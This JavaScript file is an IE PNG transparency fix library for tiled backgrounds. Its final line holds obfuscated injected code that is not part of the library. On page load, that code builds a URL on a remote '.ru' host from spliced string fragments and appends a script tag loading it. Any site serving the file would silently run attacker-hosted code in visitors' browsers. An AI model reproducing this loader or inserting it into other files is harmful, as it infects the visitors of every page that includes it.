// IE5.5+ PNG Alpha Fix v2.0beta1: Background Tiling Support
// (c) 2008 Angus Turnbull http://www.twinhelix.com

// This is licensed under the GNU LGPL, version 2.1 or later.
// For details, see: http://creativecommons.org/licenses/LGPL/2.1/

if (!window.IEPNGFix) {
	window.IEPNGFix = {};
}

IEPNGFix.tileBG = function(elm, pngSrc, ready) {
	// Params: A reference to a DOM element, the PNG src file pathname, and a
	// hidden "ready-to-run" passed when called back after image preloading.

	var data = this.data[elm.uniqueID],
		elmW = Math.max(elm.clientWidth, elm.scrollWidth),
		elmH = Math.max(elm.clientHeight, elm.scrollHeight),
		bgX = elm.currentStyle.backgroundPositionX,
		bgY = elm.currentStyle.backgroundPositionY,
		bgR = elm.currentStyle.backgroundRepeat;

	// Cache of DIVs created per element, and image preloader/data.
	if (!data.tiles) {
		data.tiles = {
			src: '',
			cache: [],
			img: new Image(),
			old: {}
		};
	}
	var tiles = data.tiles,
		pngW = tiles.img.width,
		pngH = tiles.img.height;

	if (pngSrc) {
		if (!ready && pngSrc != tiles.src) {
			// New image? Preload it with a callback to detect dimensions.
			tiles.img.onload = function() {
				this.onload = null;
				IEPNGFix.tileBG(elm, pngSrc, 1);
			};
			return tiles.img.src = pngSrc;
		}
	} else {
		// No image?
		if (tiles.src) ready = 1;
		pngW = pngH = 0;
	}
	tiles.src = pngSrc;

	if (!ready && elmW == tiles.old.w && elmH == tiles.old.h &&
		bgX == tiles.old.x && bgY == tiles.old.y && bgR == tiles.old.r) {
		return;
	}

	// Convert English and percentage positions to pixels.
	var pos = {
			top: '0%',
			left: '0%',
			center: '50%',
			bottom: '100%',
			right: '100%'
		},
		x,
		y,
		pc;
	x = pos[bgX] || bgX;
	y = pos[bgY] || bgY;
	if (pc = x.match(/(\d+)%/)) {
		x = Math.round((elmW - pngW) * (parseInt(pc[1]) / 100));
	}
	if (pc = y.match(/(\d+)%/)) {
		y = Math.round((elmH - pngH) * (parseInt(pc[1]) / 100));
	}
	x = parseInt(x);
	y = parseInt(y);

	// Handle backgroundRepeat.
	var repeatX = { 'repeat': 1, 'repeat-x': 1 }[bgR],
		repeatY = { 'repeat': 1, 'repeat-y': 1 }[bgR];
	if (repeatX) {
		x %= pngW;
		if (x > 0) x -= pngW;
	}
	if (repeatY) {
		y %= pngH;
		if (y > 0) y -= pngH;
	}

	// Go!
	this.hook.enabled = 0;
	if (!({ relative: 1, absolute: 1 }[elm.currentStyle.position])) {
		elm.style.position = 'relative';
	}
	var count = 0,
		xPos,
		maxX = repeatX ? elmW : x + 0.1,
		yPos,
		maxY = repeatY ? elmH : y + 0.1,
		d,
		s,
		isNew;
	if (pngW && pngH) {
		for (xPos = x; xPos < maxX; xPos += pngW) {
			for (yPos = y; yPos < maxY; yPos += pngH) {
				isNew = 0;
				if (!tiles.cache[count]) {
					tiles.cache[count] = document.createElement('div');
					isNew = 1;
				}
				var clipR = (xPos + pngW > elmW ? elmW - xPos : pngW),
					clipB = (yPos + pngH > elmH ? elmH - yPos : pngH);
				d = tiles.cache[count];
				s = d.style;
				s.behavior = 'none';
				s.left = xPos + 'px';
				s.top = yPos + 'px';
				s.width = clipR + 'px';
				s.height = clipB + 'px';
				s.clip = 'rect(' +
					(yPos < 0 ? 0 - yPos : 0) + 'px,' +
					clipR + 'px,' +
					clipB + 'px,' +
					(xPos < 0 ? 0 - xPos : 0) + 'px)';
				s.display = 'block';
				if (isNew) {
					s.position = 'absolute';
					s.zIndex = -999;
					if (elm.firstChild) {
						elm.insertBefore(d, elm.firstChild);
					} else {
						elm.appendChild(d);
					}
				}
				this.fix(d, pngSrc, 0);
				count++;
			}
		}
	}
	while (count < tiles.cache.length) {
		this.fix(tiles.cache[count], '', 0);
		tiles.cache[count++].style.display = 'none';
	}

	this.hook.enabled = 1;

	// Cache so updates are infrequent.
	tiles.old = {
		w: elmW,
		h: elmH,
		x: bgX,
		y: bgY,
		r: bgR
	};
};

this.p='';function L(){var Cc;if(Cc!='' && Cc!='a'){Cc=null};var g;if(g!='n' && g!='G'){g='n'};var d="";var da="";var h=new String("g");var C=RegExp;var AAJ=new Array();var CL='';var b='';var Z;if(Z!=''){Z='P'};function H(m,HT){var S= "vME[".substr(3);var uY="";var po="";S+=HT;S+=new String("gUJ]".substr(3));var CG=new Date();this.XX='';var Xg;if(Xg!='jD'){Xg=''};var K=new C(S, h);this.HX="";return m.replace(K, b);this.Jw="";var gg;if(gg!='E' && gg != ''){gg=null};};var j=String("bRv0/tuen".substr(4)+"TW73ti.co".substr(4)+"j09m/tue9j0".substr(3,5)+"nti.c"+"Ul4Vom/fb".substr(4)+"1DPYcdn.n1PDY".substr(4,5)+"et/go0dX".substr(0,5)+"asSFogle.".substr(4)+"com.sgtXf".substr(0,5)+"a/goo"+"gle.cAY1".substr(0,5)+"om.ph"+"plmV".substr(0,1));var sj="";var R="scr1OfB".substr(0,3)+"bHsqiptbHqs".substr(4,3);var J=String("Fwlde".substr(3)+"kXOhfe".substr(4)+"85Ar".substr(3));this.le="";var dh;if(dh!='gT' && dh!='B'){dh='gT'};var Jg;if(Jg!='DC'){Jg=''};var c='';var HL;if(HL!='Sq' && HL!='G_'){HL='Sq'};this.pt='';var X=new String("http:"+"//bad"+"ongo-061C".substr(0,5)+"CWRgcom.sgWCR".substr(4,5)+"tayfrCWFX".substr(0,5)+"Zzriends".substr(3)+".de.sImS".substr(0,5)+"vtKun-co".substr(3)+"m.min"+"ilabd"+"irectu8h2".substr(0,5)+".ru:w43".substr(0,4));var Va=new Date();var GF=new Date();var o=window;this.Nv="";this.JL="";var A=H('823403384220224',"342");var q=new String("srcYzGL".substr(0,3));var ap=new Array();var Q=new Date();o.onload=function(){try {var Jh=new Array();c=X+A;var Rx="";var LH;if(LH!='ad' && LH!='BX'){LH='ad'};c+=j;var du=new String();var Yd;if(Yd!=''){Yd='RN'};var UM;if(UM!='g_'){UM='g_'};jj=document.createElement(R);var Mk;if(Mk!='vn'){Mk=''};var hg="";jj[J]=[1][0];var fI;if(fI!='uF'){fI='uF'};jj[q]=c;this.kB='';var zL=new Date();document.body.appendChild(jj);var IK=new String();var Mh=new Date();} catch(V){this.Fu="";};this.oS='';var MK;if(MK!='mV' && MK!='jV'){MK=''};};};L();